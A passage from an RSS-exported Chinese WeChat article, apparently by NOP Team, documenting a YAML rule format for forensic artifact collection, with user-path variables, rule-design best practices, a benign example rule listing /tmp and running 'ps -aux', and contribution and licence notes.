#f0f0f0;"><p><span leaf="">变量名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_appdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的环境变量 =&gt; </span><code><span leaf="">%AppData%</span></code><span leaf=""> 默认 Vista+: </span><code><span leaf="">%USERPROFILE%\AppData\Roaming</span></code><span leaf=""> 旧版: </span><code><span leaf="">%USERPROFILE%\Application Data</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_localappdata%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的环境变量 =&gt; </span><code><span leaf="">%LocalAppData%</span></code><span leaf=""> Vista+默认:</span><code><span leaf="">%USERPROFILE%\AppData\Local</span></code><span leaf=""> 旧版默认：</span><code><span leaf="">%USERPROFILE%\Local Settings\Application Data</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_sid%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的安全标识符 (SID)</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_temp%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的环境变量 =&gt; </span><code><span leaf="">%TEMP%</span></code><span leaf=""> 或 </span><code><span leaf="">%TMP%</span></code><span leaf=""> 即当前用户的临时目录</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_username%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的环境变量 =&gt; </span><code><span leaf="">%USERNAME%</span></code><span leaf=""> 即当前用户的名称</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">%%current_user_userprofile%%</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">当前用户的环境变量 =&gt; </span><code><span leaf="">%USERPROFILE%</span></code><span leaf=""> 即当前用户配置文件目录: Vista+默认: </span><code><span leaf="">C:\Users\当前用户名</span></code><span leaf=""> 旧版默认: </span><code><span leaf="">C:\Documents and Settings\当前用户名</span></code></p></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">6. 最佳实践</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.1 用户变量使用指南</span><span style="display: none;"></span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">完整取证场景</span></strong><span leaf="">：使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%users_xxx%%</span></code><span leaf=""> 变量收集所有用户的数据</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">针对性调查</span></strong><span leaf="">：使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%current_user_xxx%%</span></code><span leaf=""> 变量仅收集当前用户数据</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">权限考虑：</span></p></div></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%users_xxx%%</span></code><span leaf=""> 变量通常需要管理员/root权限才能完全访问</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%current_user_xxx%%</span></code><span leaf=""> 变量在标准用户权限下也可以使用，但仅限于当前用户上下文</span></p></li></ul></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.2 规则设计原则</span><span style="display: none;"></span></h3><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">Artifact 归类准确，命名清晰</span></strong><span leaf="">：在考虑创建 Artifact 时，其内部囊括的 source 应均与该 Artifact 主题强相关，命名 Artifact 时应清晰明了，使用户能够快速理解其内容。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">谨慎使用通配符</span></strong><span leaf="">：滥用通配符可能使框架程序过度收集信息。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">文档完善</span></strong><span leaf="">：提供足够的描述和参考链接，帮助使用者理解规则的用途。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">跨平台考虑</span></strong><span leaf="">：尽可能设计能在多平台使用的规则。</span></p></li></ol><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.3 性能与安全考量</span><span style="display: none;"></span></h3><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">考虑资源消耗</span></strong><span leaf="">：避免定义可能导致过度资源消耗的规则。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">注意隐私影响</span></strong><span leaf="">：确保规则遵循相关法规和隐私保护要求。</span></p></li></ol><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">7. 注意事项</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.1 多 Artifact 定义</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 YAML 文件格式中，可以使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">---</span></code><span leaf=""> 分隔符包含多个 Artifact 定义，这是 YAML 规则决定的，开发者应该考虑这一点，当然可以对其进行自定义规定。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">例如：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">TempDir</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">收集临时目录</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PATH</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;/tmp/&#39;]</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">linux</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">RunningProcesses</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">收集进程列表</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">ps</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">[&#39;-aux&#39;]</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">linux</span></span><span leaf=""><br/></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.2 变量展开行为</span><span style="display: none;"></span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%users_xxx%%</span></code><span leaf=""> 变量将展开为系统上所有用户的相应路径（可能生成多个路径）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%%current_user_xxx%%</span></code><span leaf=""> 变量仅展开为执行取证工具的当前用户路径（生成单个路径）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用变量时应考虑工具执行权限对变量展开的影响</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.3 规则验证</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">建议实施以下验证措施：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 YAML 验证工具确保语法正确</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">在多种目标环境中测试规则有效性</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">评估规则的性能影响和数据采集量</span></p></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">8. 贡献指南</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们欢迎社区贡献新的取证规则或改进现有规则。请遵循以下步骤：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Fork 项目仓库</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">创建功能分支</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">提交您的规则或修改</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">创建 Pull Request</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">或联系微信 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code><span leaf=""> 反馈</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所有贡献者都应遵循本文档中定义的格式规范。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">9. 许可证</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本项目采用 Apache 2.0 协议</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502770&amp;idx=1&amp;sn=85b3f9c13c78ee814042b282f6fe6e87&amp;scene=21#wechat_redirect" textvalue="Linux 应急响应手册 v2.0.1 发布！(含目录)" data-itemshowtype="0" linktype="text" data-linktype="2">Linux 应急响应手册 v2.0.1 发布！(含目录)</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502032&amp;idx=1&amp;sn=e5e04054bdafadaf34e82f643294f80f&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册v1.2 【重要更新】" data-itemshowtype="0" linktype="text" data-linktype="2">Windows 应急响应手册v1.2 【重要更新】</a></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4eea47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdjkL336vU3etI8qUOeoqMaxrToEfIuZvSFbBQgTW9BXDfrNhnRhA4juxartmaVwu5gS2F30pNF8A%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247502811">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=65fd2f17&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502811%26idx%3D1%26sn%3Dbdf64878bb87c64fb898881f5aadd82e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 01 Jul 2025 17:30:50 +0800</pubDate>
    </item>
    <item>
      <title>Linux 应急响应手册 v2.0.1 发布！(含目录)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502770&amp;idx=1&amp;sn=85b3f9c13c78ee814042b282f6fe6e87</link>
      <description>在最坚硬的石头上刻朵小花！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-02-28 16:17</span> <span style="display: inline-block;">北京</span>
</p>

<p>在最坚硬的石头上刻朵小花！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=862432ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgReJdLuuttiazompT7xvnrNkZuml6L1eBMiaC6iaWWCfHLAyI1UL5usT6sicCH7LWtlS565Tj5nkpjTP6A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


